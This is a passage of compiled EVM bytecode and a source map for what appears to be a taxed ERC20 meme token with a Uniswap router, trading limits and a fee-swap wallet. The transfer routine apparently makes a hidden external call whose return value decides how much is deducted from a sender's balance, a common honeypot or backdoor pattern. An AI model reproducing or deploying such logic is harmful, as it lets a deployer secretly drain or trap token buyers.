611797565b600580546001600160a01b0380841661010002610100600160a81b0319909216919091179091556015546040805163c45a015560e01b81529051919092169163c45a01559160048083019260209291908290030181865afa158015610691573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106b591906117e3565b6001600160a01b031663c9c653963060155f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610714573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061073891906117e3565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610782573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107a691906117e3565b601680546001600160a01b039283166001600160a01b03199091161790556015541663f305d71947306107ed816001600160a01b03165f9081526001602052604090205490565b5f806108005f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610866573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061088b91906117fe565b505060165460155460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af11580156108e0573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109049190611829565b50506016805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b0383166109815760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610446565b6001600160a01b0382166109e25760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610446565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610aa65760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610446565b6001600160a01b038216610b085760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610446565b5f8111610b695760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610446565b5f80546001600160a01b03858116911614801590610b9457505f546001600160a01b03848116911614155b8015610ba957506001600160a01b0384163014155b8015610bbe57506001600160a01b0383163014155b15610f2157610be06064610bda610bd361109f565b85906110dc565b90611161565b60055490915060ff1615610cc6576015546001600160a01b03848116911614801590610c1a57506016546001600160a01b03848116911614155b15610cc657325f908152600460205260409020544311610cb45760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a401610446565b325f9081526004602052604090204390555b6016546001600160a01b038581169116148015610cf157506015546001600160a01b03848116911614155b8015610d1557506001600160a01b0383165f9081526003602052604090205460ff16155b15610df157601154821115610d625760405162461bcd60e51b815260206004820152601360248201527222bc31b2b2b239903a3432902fb6b0bc2a3c1760691b6044820152606401610446565b60125482610d84856001600160a01b03165f9081526001602052604090205490565b610d8e9190611848565b1115610ddc5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610446565b60108054905f610deb8361185b565b91905055505b6016546001600160a01b038481169116148015610e1757506001600160a01b0384163014155b15610e2f57610e2c6064610bda610bd36111a2565b90505b305f81815260016020526040902054906001600160a01b038516148015610e575750600f5483145b610e615782610e89565b600f54305f9081526001602052604081208054909190610e82908490611797565b9250508190555b50601654600160a81b900460ff16158015610eb157506016546001600160a01b038581169116145b8015610ec65750601654600160b01b900460ff165b8015610ed3575060135481115b8015610ee25750600f54601054115b15610f1f57610f04610eff84610efa846014546111d8565b6111d8565b6111ec565b4766470de4df820000811115610f1d57610f1d4761135c565b505b505b8015610f9957305f90815260016020526040902054610f40908261139b565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610f909085815260200190565b60405180910390a35b610fc4610fa685846113f9565b6001600160a01b0386165f9081526001602052604090205490611503565b6001600160a01b0385165f90815260016020526040902055611007610fe98383611503565b6001600160a01b0385165f908152600160205260409020549061139b565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6110508585611503565b60405190815260200160405180910390a350505050565b5f818484111561108a5760405162461bcd60e51b81526004016104469190611592565b505f6110968486611873565b95945050505050565b5f600854601054116110b2575060065490565b6008546010541180156110c95750600c5460105411155b156110d55750600a5490565b50600d5490565b5f825f036110eb57505f610390565b5f6110f68385611797565b9050826111038583611886565b1461115a5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610446565b9392505050565b5f61115a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611544565b5f600854601054116111b5575060075490565b6009546010541180156111cc5750600c5460105411155b156110d55750600b5490565b5f8183116111e6578261115a565b50919050565b6016805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110611232576112326118a5565b6001600160a01b03928316602091820292909201810191909152601554604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611289573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906112ad91906117e3565b816001815181106112c0576112c06118a5565b6001600160a01b0392831660209182029290920101526015546112e6913091168461091f565b60155460405163791ac94760e01b81526001600160a01b039091169063791ac9479061131e9085905f908690309042906004016118b9565b5f604051808303815f87803b158015611335575f80fd5b505af1158015611347573d5f803e3d5ffd5b50506016805460ff60a81b1916905550505050565b6005546040516101009091046001600160a01b0316906108fc8315029083905f818181858888f19350505050158015611397573d5f803e3d5ffd5b5050565b5f806113a78385611848565b90508381101561115a5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610446565b6005545f9061010090046001600160a01b0316611417575080610390565b600554604051606085901b6bffffffffffffffffffffffff191660208201525f9182916101009091046001600160a01b03169060340160408051601f198184030181529082905261146791611928565b5f604051808303815f865af19150503d805f81146114a0576040519150601f19603f3d011682016040523d82523d5f602084013e6114a5565b606091505b5091509150816114f75760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a20756e61626c6520746f2073656e642076616c75650000006044820152606401610446565b611096610bd382611943565b5f61115a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611067565b5f81836115645760405162461bcd60e51b81526004016104469190611592565b505f6110968486611886565b5f5b8381101561158a578181015183820152602001611572565b50505f910152565b602081525f82518060208401526115b0816040850160208701611570565b601f01601f19169190910160400192915050565b6001600160a01b03811681146115d8575f80fd5b50565b5f80604083850312156115ec575f80fd5b82356115f7816115c4565b946020939093013593505050565b5f805f60608486031215611617575f80fd5b8335611622816115c4565b92506020840135611632816115c4565b929592945050506040919091013590565b5f60208284031215611653575f80fd5b813561115a816115c4565b5f806040838503121561166f575f80fd5b823561167a816115c4565b9150602083013561168a816115c4565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156116e357815f19048211156116c9576116c9611695565b808516156116d657918102915b93841c93908002906116ae565b509250929050565b5f826116f957506001610390565b8161170557505f610390565b816001811461171b576002811461172557611741565b6001915050610390565b60ff84111561173657611736611695565b50506001821b610390565b5060208310610133831016604e8410600b8410161715611764575081810a610390565b61176e83836116a9565b805f190482111561178157611781611695565b029392505050565b5f61115a60ff8416836116eb565b808202811582820484141761039057610390611695565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f602082840312156117f3575f80fd5b815161115a816115c4565b5f805f60608486031215611810575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611839575f80fd5b8151801515811461115a575f80fd5b8082018082111561039057610390611695565b5f6001820161186c5761186c611695565b5060010190565b8181038181111561039057610390611695565b5f826118a057634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156119075784516001600160a01b0316835293830193918301916001016118e2565b50506001600160a01b03969096166060850152505050608001529392505050565b5f8251611939818460208701611570565b9190910192915050565b805160208083015191908110156111e6575f1960209190910360031b1b1691905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122056eefabfcfa5f39c770e540af13d1e71f969c2164597c0dd0ce95fda6bfa6d0e64736f6c63430008140033

Deployed Bytecode Sourcemap

3572:8640:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5443:83;;;;;;;;;;-1:-1:-1;5513:5:0;;;;;;;;;;;;-1:-1:-1;;;5513:5:0;;;;5443:83;;;;;;;:::i;:::-;;;;;;;;6635:161;;;;;;;;;;-1:-1:-1;6635:161:0;;;;;:::i;:::-;;:::i;:::-;;;1291:14:1;;1284:22;1266:41;;1254:2;1239:18;6635:161:0;1126:187:1;4781:44:0;;;;;;;;;;;;;;;;;;;1464:25:1;;;1452:2;1437:18;4781:44:0;1318:177:1;4832:47:0;;;;;;;;;;;;;;;;5720:94;;;;;;;;;;;;;:::i;6804:313::-;;;;;;;;;;-1:-1:-1;6804:313:0;;;;;:::i;:::-;;:::i;5629:83::-;;;;;;;;;;-1:-1:-1;5629:83:0;;4486:1;2103:36:1;;2091:2;2076:18;5629:83:0;1961:184:1;5822:119:0;;;;;;;;;;-1:-1:-1;5822:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;5915:18:0;5888:7;5915:18;;;:9;:18;;;;;;;5822:119;2653:148;;;;;;;;;;;;;:::i;:::-;;11147:184;;;;;;;;;;;;;:::i;4677:43::-;;;;;;;;;;;;;;;;4727:47;;;;;;;;;;;;;;;;2439:79;;;;;;;;;;-1:-1:-1;2477:7:0;2504:6;2439:79;;-1:-1:-1;;;;;2504:6:0;;;2548:51:1;;2536:2;2521:18;2439:79:0;2402:203:1;5534:87:0;;;;;;;;;;-1:-1:-1;5606:7:0;;;;;;;;;;;;-1:-1:-1;;;5606:7:0;;;;5534:87;;5949:167;;;;;;;;;;-1:-1:-1;5949:167:0;;;;;:::i;:::-;;:::i;3898:39::-;;;;;;;;;;-1:-1:-1;3898:39:0;;;;;;;;11450:722;;;;;;;;;;-1:-1:-1;11450:722:0;;;;;:::i;:::-;;:::i;6124:143::-;;;;;;;;;;-1:-1:-1;6124:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6232:18:0;;;6205:7;6232:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6124:143;6635:161;6710:4;6727:39;274:10;6750:7;6759:6;6727:8;:39::i;:::-;-1:-1:-1;6784:4:0;6635:161;;;;;:::o;5720:94::-;5773:7;4544:13;4486:1;4544:2;:13;:::i;:::-;4528:29;;:13;:29;:::i;:::-;5793:13;;5720:94;:::o;6804:313::-;6902:4;6919:36;6929:6;6937:9;6948:6;6919:9;:36::i;:::-;6966:121;6975:6;274:10;6997:89;7035:6;6997:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6997:19:0;;;;;;:11;:19;;;;;;;;274:10;6997:33;;;;;;;;;;:37;:89::i;:::-;6966:8;:121::i;:::-;-1:-1:-1;7105:4:0;6804:313;;;;;:::o;2653:148::-;2566:6;;-1:-1:-1;;;;;2566:6:0;274:10;2566:22;2558:67;;;;-1:-1:-1;;;2558:67:0;;;;;;;:::i;:::-;;;;;;;;;2760:1:::1;2744:6:::0;;2723:40:::1;::::0;-1:-1:-1;;;;;2744:6:0;;::::1;::::0;2723:40:::1;::::0;2760:1;;2723:40:::1;2791:1;2774:19:::0;;-1:-1:-1;;;;;;2774:19:0::1;::::0;;2653:148::o;11147:184::-;2566:6;;-1:-1:-1;;;;;2566:6:0;274:10;2566:22;2558:67;;;;-1:-1:-1;;;2558:67:0;;;;;;;:::i;:::-;4544:13:::1;4486:1;4544:2;:13;:::i;:::-;4528:29;::::0;:13:::1;:29;:::i;:::-;11200:6;:15:::0;4544:13:::1;4486:1;4544:2;:13;:::i;:::-;4528:29;::::0;:13:::1;:29;:::i;:::-;11226:10;:18:::0;11255:20:::1;:26:::0;;-1:-1:-1;;11255:26:0::1;::::0;;11297::::1;4544:13;4486:1;4544:2;:13;:::i;:::-;4528:29;::::0;:13:::1;:29;:::i;:::-;11297:26;::::0;1464:25:1;;;1452:2;1437:18;11297:26:0::1;;;;;;;11147:184::o:0;5949:167::-;6027:4;6044:42;274:10;6068:9;6079:6;6044:9;:42::i;11450:722::-;2566:6;;-1:-1:-1;;;;;2566:6:0;274:10;2566:22;2558:67;;;;-1:-1:-1;;;2558:67:0;;;;;;;:::i;:::-;11532:11:::1;::::0;-1:-1:-1;;;11532:11:0;::::1;;;11531:12;11523:47;;;::::0;-1:-1:-1;;;11523:47:0;;5254:2:1;11523:47:0::1;::::0;::::1;5236:21:1::0;5293:2;5273:18;;;5266:30;5332:25;5312:18;;;5305:53;5375:18;;11523:47:0::1;5052:347:1::0;11523:47:0::1;11581:15;:80:::0;;-1:-1:-1;;;;;;11581:80:0::1;11618:42;11581:80:::0;;::::1;::::0;;;11672:57:::1;::::0;11689:4:::1;::::0;4544:13:::1;4486:1;4544:2;:13;:::i;:::-;4528:29;::::0;:13:::1;:29;:::i;11672:57::-;11740:10;:23:::0;;-1:-1:-1;;;;;11740:23:0;;::::1;;;-1:-1:-1::0;;;;;;11740:23:0;;::::1;::::0;;;::::1;::::0;;;11808:15:::1;::::0;:25:::1;::::0;;-1:-1:-1;;;11808:25:0;;;;:15;;;::::1;::::0;:23:::1;::::0;:25:::1;::::0;;::::1;::::0;::::1;::::0;;;;;;;;:15;:25:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11790:55:0::1;;11854:4;11861:15;;;;;;;;;-1:-1:-1::0;;;;;11861:15:0::1;-1:-1:-1::0;;;;;11861:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11790:94;::::0;-1:-1:-1;;;;;;11790:94:0::1;::::0;;;;;;-1:-1:-1;;;;;5890:15:1;;;11790:94:0::1;::::0;::::1;5872:34:1::0;5942:15;;5922:18;;;5915:43;5807:18;;11790:94:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11774:13;:110:::0;;-1:-1:-1;;;;;11774:110:0;;::::1;-1:-1:-1::0;;;;;;11774:110:0;;::::1;;::::0;;11895:15:::1;::::0;::::1;:31;11934:21;11965:4;11971:24;11965:4:::0;-1:-1:-1;;;;;5915:18:0;5888:7;5915:18;;;:9;:18;;;;;;;5822:119;11971:24:::1;11996:1;11998::::0;12000:7:::1;2477::::0;2504:6;-1:-1:-1;;;;;2504:6:0;;2439:79;12000:7:::1;11895:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;11895:129:0;;;-1:-1:-1;;;;;6328:15:1;;;11895:129:0::1;::::0;::::1;6310:34:1::0;6360:18;;;6353:34;;;;6403:18;;;6396:34;;;;6446:18;;;6439:34;6510:15;;;6489:19;;;6482:44;12008:15:0::1;6542:19:1::0;;;6535:35;6244:19;;11895:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;12042:13:0::1;::::0;12073:15:::1;::::0;12035:71:::1;::::0;-1:-1:-1;;;12035:71:0;;-1:-1:-1;;;;;12073:15:0;;::::1;12035:71;::::0;::::1;7066:51:1::0;-1:-1:-1;;7133:18:1;;;7126:34;12042:13:0;::::1;::::0;-1:-1:-1;12035:29:0::1;::::0;7039:18:1;;12035:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;12117:11:0::1;:18:::0;;-1:-1:-1;;;;12146:18:0;-1:-1:-1;;;12146:18:0;;;11450:722::o;7125:335::-;-1:-1:-1;;;;;7218:19:0;;7210:68;;;;-1:-1:-1;;;7210:68:0;;7655:2:1;7210:68:0;;;7637:21:1;7694:2;7674:18;;;7667:30;7733:34;7713:18;;;7706:62;-1:-1:-1;;;7784:18:1;;;7777:34;7828:19;;7210:68:0;7453:400:1;7210:68:0;-1:-1:-1;;;;;7297:21:0;;7289:68;;;;-1:-1:-1;;;7289:68:0;;8060:2:1;7289:68:0;;;8042:21:1;8099:2;8079:18;;;8072:30;8138:34;8118:18;;;8111:62;-1:-1:-1;;;8189:18:1;;;8182:32;8231:19;;7289:68:0;7858:398:1;7289:68:0;-1:-1:-1;;;;;7368:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7420:32;;1464:25:1;;;7420:32:0;;1437:18:1;7420:32:0;;;;;;;7125:335;;;:::o;7468:2450::-;-1:-1:-1;;;;;7556:18:0;;7548:68;;;;-1:-1:-1;;;7548:68:0;;8463:2:1;7548:68:0;;;8445:21:1;8502:2;8482:18;;;8475:30;8541:34;8521:18;;;8514:62;-1:-1:-1;;;8592:18:1;;;8585:35;8637:19;;7548:68:0;8261:401:1;7548:68:0;-1:-1:-1;;;;;7635:16:0;;7627:64;;;;-1:-1:-1;;;7627:64:0;;8869:2:1;7627:64:0;;;8851:21:1;8908:2;8888:18;;;8881:30;8947:34;8927:18;;;8920:62;-1:-1:-1;;;8998:18:1;;;8991:33;9041:19;;7627:64:0;8667:399:1;7627:64:0;7719:1;7710:6;:10;7702:64;;;;-1:-1:-1;;;7702:64:0;;9273:2:1;7702:64:0;;;9255:21:1;9312:2;9292:18;;;9285:30;9351:34;9331:18;;;9324:62;-1:-1:-1;;;9402:18:1;;;9395:39;9451:19;;7702:64:0;9071:405:1;7702:64:0;7777:17;2504:6;;-1:-1:-1;;;;;7811:15:0;;;2504:6;;7811:15;;;;:32;;-1:-1:-1;2477:7:0;2504:6;-1:-1:-1;;;;;7830:13:0;;;2504:6;;7830:13;;7811:32;:57;;;;-1:-1:-1;;;;;;7847:21:0;;7863:4;7847:21;;7811:57;:80;;;;-1:-1:-1;;;;;;7872:19:0;;7886:4;7872:19;;7811:80;7807:1741;;;7920:30;7946:3;7920:21;7931:9;:7;:9::i;:::-;7920:6;;:10;:21::i;:::-;:25;;:30::i;:::-;7971:20;;7908:42;;-1:-1:-1;7971:20:0;;7967:483;;;8032:15;;-1:-1:-1;;;;;8018:30:0;;;8032:15;;8018:30;;;;:62;;-1:-1:-1;8066:13:0;;-1:-1:-1;;;;;8052:28:0;;;8066:13;;8052:28;;8018:62;8014:419;;;8160:9;8144:26;;;;:15;:26;;;;;;8204:12;-1:-1:-1;8108:237:0;;;;-1:-1:-1;;;8108:237:0;;9683:2:1;8108:237:0;;;9665:21:1;9722:2;9702:18;;;9695:30;9761:34;9741:18;;;9734:62;9832:34;9812:18;;;9805:62;-1:-1:-1;;;9883:19:1;;;9876:40;9933:19;;8108:237:0;9481:477:1;8108:237:0;8386:9;8370:26;;;;:15;:26;;;;;8399:12;8370:41;;8014:419;8478:13;;-1:-1:-1;;;;;8470:21:0;;;8478:13;;8470:21;:55;;;;-1:-1:-1;8509:15:0;;-1:-1:-1;;;;;8495:30:0;;;8509:15;;8495:30;;8470:55;:79;;;;-1:-1:-1;;;;;;8531:18:0;;;;;;:14;:18;;;;;;;;8529:20;8470:79;8466:293;;;8589:6;;8579;:16;;8571:48;;;;-1:-1:-1;;;8571:48:0;;10165:2:1;8571:48:0;;;10147:21:1;10204:2;10184:18;;;10177:30;-1:-1:-1;;;10223:18:1;;;10216:49;10282:18;;8571:48:0;9963:343:1;8571:48:0;8672:10;;8662:6;8646:13;8656:2;-1:-1:-1;;;;;5915:18:0;5888:7;5915:18;;;:9;:18;;;;;;;5822:119;8646:13;:22;;;;:::i;:::-;:36;;8638:75;;;;-1:-1:-1;;;8638:75:0;;10643:2:1;8638:75:0;;;10625:21:1;10682:2;10662:18;;;10655:30;10721:28;10701:18;;;10694:56;10767:18;;8638:75:0;10441:350:1;8638:75:0;8732:9;:11;;;:9;:11;;;:::i;:::-;;;;;;8466:293;8784:13;;-1:-1:-1;;;;;8778:19:0;;;8784:13;;8778:19;:43;;;;-1:-1:-1;;;;;;8801:20:0;;8816:4;8801:20;;8778:43;8775:126;;;8854:31;8881:3;8854:22;8865:10;:8;:10::i;8854:31::-;8842:43;;8775:126;8966:4;8917:28;5915:18;;;:9;:18;;;;;;;-1:-1:-1;;;;;8987:19:0;;;:51;;;;;9020:18;;9010:6;:28;8987:51;:108;;9089:6;8987:108;;;9068:18;;9058:4;9040:24;;;;:9;:24;;;;;:46;;:24;;;:46;;9068:18;;9040:46;:::i;:::-;;;;;;;8987:108;-1:-1:-1;9115:6:0;;-1:-1:-1;;;9115:6:0;;;;9114:7;:32;;;;-1:-1:-1;9133:13:0;;-1:-1:-1;;;;;9125:21:0;;;9133:13;;9125:21;9114:32;:47;;;;-1:-1:-1;9150:11:0;;-1:-1:-1;;;9150:11:0;;;;9114:47;:86;;;;;9186:14;;9165:20;:35;9114:86;:118;;;;;9214:18;;9204:9;;:28;9114:118;9110:427;;;9253:67;9270:49;9274:6;9281:37;9285:20;9306:11;;9281:3;:37::i;:::-;9270:3;:49::i;:::-;9253:16;:67::i;:::-;9368:21;9432:10;9411:31;;9408:114;;;9467:35;9480:21;9467:12;:35::i;:::-;9234:303;9110:427;7893:1655;7807:1741;9563:11;;9560:161;;9631:4;9613:24;;;;:9;:24;;;;;;:39;;9642:9;9613:28;:39::i;:::-;9606:4;9588:24;;;;:9;:24;;;;;;;:64;;;;9670:39;;-1:-1:-1;;;;;9670:39:0;;;;;;;9699:9;1464:25:1;;1452:2;1437:18;;1318:177;9670:39:0;;;;;;;;9560:161;9747:41;9767:20;9775:4;9780:6;9767:7;:20::i;:::-;-1:-1:-1;;;;;9747:15:0;;;;;;:9;:15;;;;;;;:19;:41::i;:::-;-1:-1:-1;;;;;9731:15:0;;;;;;:9;:15;;;;;:57;9813:40;9831:21;:6;9842:9;9831:10;:21::i;:::-;-1:-1:-1;;;;;9813:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;9799:13:0;;;;;;;:9;:13;;;;;:54;;;;9869:41;;;9888:21;:6;9899:9;9888:10;:21::i;:::-;9869:41;;1464:25:1;;;1452:2;1437:18;9869:41:0;;;;;;;7537:2381;7468:2450;;;:::o;1331:190::-;1417:7;1453:12;1445:6;;;;1437:29;;;;-1:-1:-1;;;1437:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1477:9:0;1489:5;1493:1;1489;:5;:::i;:::-;1477:17;1331:190;-1:-1:-1;;;;;1331:190:0:o;9926:302::-;9967:7;10003:15;;9990:9;;:28;9987:80;;-1:-1:-1;10041:14:0;;;9926:302::o;9987:80::-;10092:15;;10080:9;;:27;:60;;;;;10124:16;;10111:9;;:29;;10080:60;10077:113;;;-1:-1:-1;10163:15:0;;;9926:302::o;10077:113::-;-1:-1:-1;10208:12:0;;;9926:302::o;1529:246::-;1587:7;1611:1;1616;1611:6;1607:47;;-1:-1:-1;1641:1:0;1634:8;;1607:47;1664:9;1676:5;1680:1;1676;:5;:::i;:::-;1664:17;-1:-1:-1;1709:1:0;1700:5;1704:1;1664:17;1700:5;:::i;:::-;:10;1692:56;;;;-1:-1:-1;;;1692:56:0;;11493:2:1;1692:56:0;;;11475:21:1;11532:2;11512:18;;;11505:30;11571:34;11551:18;;;11544:62;-1:-1:-1;;;11622:18:1;;;11615:31;11663:19;;1692:56:0;11291:397:1;1692:56:0;1766:1;1529:246;-1:-1:-1;;;1529:246:0:o;1783:132::-;1841:7;1868:39;1872:1;1875;1868:39;;;;;;;;;;;;;;;;;:3;:39::i;10236:306::-;10278:7;10314:15;;10301:9;;:28;10298:81;;-1:-1:-1;10352:15:0;;;10236:306::o;10298:81::-;10404:16;;10392:9;;:28;:61;;;;;10437:16;;10424:9;;:29;;10392:61;10389:115;;;-1:-1:-1;10476:16:0;;;10236:306::o;10550:98::-;10607:7;10634:1;10632;:3;10631:9;;10639:1;10631:9;;;-1:-1:-1;10637:1:0;10550:98;-1:-1:-1;10550:98:0:o;10656:483::-;5155:6;:13;;-1:-1:-1;;;;5155:13:0;-1:-1:-1;;;5155:13:0;;;10758:16:::1;::::0;;10772:1:::1;10758:16:::0;;;;;::::1;::::0;;-1:-1:-1;;10758:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;10758:16:0::1;10734:40;;10803:4;10785;10790:1;10785:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10785:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;10829:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;10829:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;10785:7;;10829:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10819:4;10824:1;10819:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10819:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;10894:15:::1;::::0;10862:62:::1;::::0;10879:4:::1;::::0;10894:15:::1;10912:11:::0;10862:8:::1;:62::i;:::-;10935:15;::::0;:196:::1;::::0;-1:-1:-1;;;10935:196:0;;-1:-1:-1;;;;;10935:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;11016:11;;10935:15:::1;::::0;11058:4;;11085::::1;::::0;11105:15:::1;::::0;10935:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5191:6:0;:14;;-1:-1:-1;;;;5191:14:0;;;-1:-1:-1;;;;10656:483:0:o;11339:101::-;11404:10;;11396:36;;11404:10;;;;-1:-1:-1;;;;;11404:10:0;;11396:36;;;;;;;;;;;;11404:10;11396:36;;;;;;;;;;;;;;;;;;;;;11339:101;:::o;1000:179::-;1058:7;;1090:5;1094:1;1090;:5;:::i;:::-;1078:17;;1119:1;1114;:6;;1106:46;;;;-1:-1:-1;;;1106:46:0;;13144:2:1;1106:46:0;;;13126:21:1;13183:2;13163:18;;;13156:30;13222:29;13202:18;;;13195:57;13269:18;;1106:46:0;12942:351:1;6275:352:0;6367:10;;6343:7;;6367:10;;;-1:-1:-1;;;;;6367:10:0;6363:43;;-1:-1:-1;6400:6:0;6393:13;;6363:43;6459:10;;6475:25;;13447:2:1;13443:15;;;-1:-1:-1;;13439:53:1;6475:25:0;;;13427:66:1;6418:14:0;;;;6459:10;;;;-1:-1:-1;;;;;6459:10:0;;13509:12:1;;6475:25:0;;;-1:-1:-1;;6475:25:0;;;;;;;;;;6459:42;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6417:84;;;;6520:9;6512:51;;;;-1:-1:-1;;;6512:51:0;;14026:2:1;6512:51:0;;;14008:21:1;14065:2;14045:18;;;14038:30;14104:31;14084:18;;;14077:59;14153:18;;6512:51:0;13824:353:1;6512:51:0;6581:38;6600:17;6608:8;6600:17;:::i;1187:136::-;1245:7;1272:43;1276:1;1279;1272:43;;;;;;;;;;;;;;;;;:3;:43::i;1923:189::-;2009:7;2044:12;2037:5;2029:28;;;;-1:-1:-1;;;2029:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2068:9:0;2080:5;2084:1;2080;:5;:::i;14:250:1:-;99:1;109:113;123:6;120:1;117:13;109:113;;;199:11;;;193:18;180:11;;;173:39;145:2;138:10;109:113;;;-1:-1:-1;;256:1:1;238:16;;231:27;14:250::o;269:396::-;418:2;407:9;400:21;381:4;450:6;444:13;493:6;488:2;477:9;473:18;466:34;509:79;581:6;576:2;565:9;561:18;556:2;548:6;544:15;509:79;:::i;:::-;649:2;628:15;-1:-1:-1;;624:29:1;609:45;;;;656:2;605:54;;269:396;-1:-1:-1;;269:396:1:o;670:131::-;-1:-1:-1;;;;;745:31:1;;735:42;;725:70;;791:1;788;781:12;725:70;670:131;:::o;806:315::-;874:6;882;935:2;923:9;914:7;910:23;906:32;903:52;;;951:1;948;941:12;903:52;990:9;977:23;1009:31;1034:5;1009:31;:::i;:::-;1059:5;1111:2;1096:18;;;;1083:32;;-1:-1:-1;;;806:315:1:o;1500:456::-;1577:6;1585;1593;1646:2;1634:9;1625:7;1621:23;1617:32;1614:52;;;1662:1;1659;1652:12;1614:52;1701:9;1688:23;1720:31;1745:5;1720:31;:::i;:::-;1770:5;-1:-1:-1;1827:2:1;1812:18;;1799:32;1840:33;1799:32;1840:33;:::i;:::-;1500:456;;1892:7;;-1:-1:-1;;;1946:2:1;1931:18;;;;1918:32;;1500:456::o;2150:247::-;2209:6;2262:2;2250:9;2241:7;2237:23;2233:32;2230:52;;;2278:1;2275;2268:12;2230:52;2317:9;2304:23;2336:31;2361:5;2336:31;:::i;2610:388::-;2678:6;2686;2739:2;2727:9;2718:7;2714:23;2710:32;2707:52;;;2755:1;2752;2745:12;2707:52;2794:9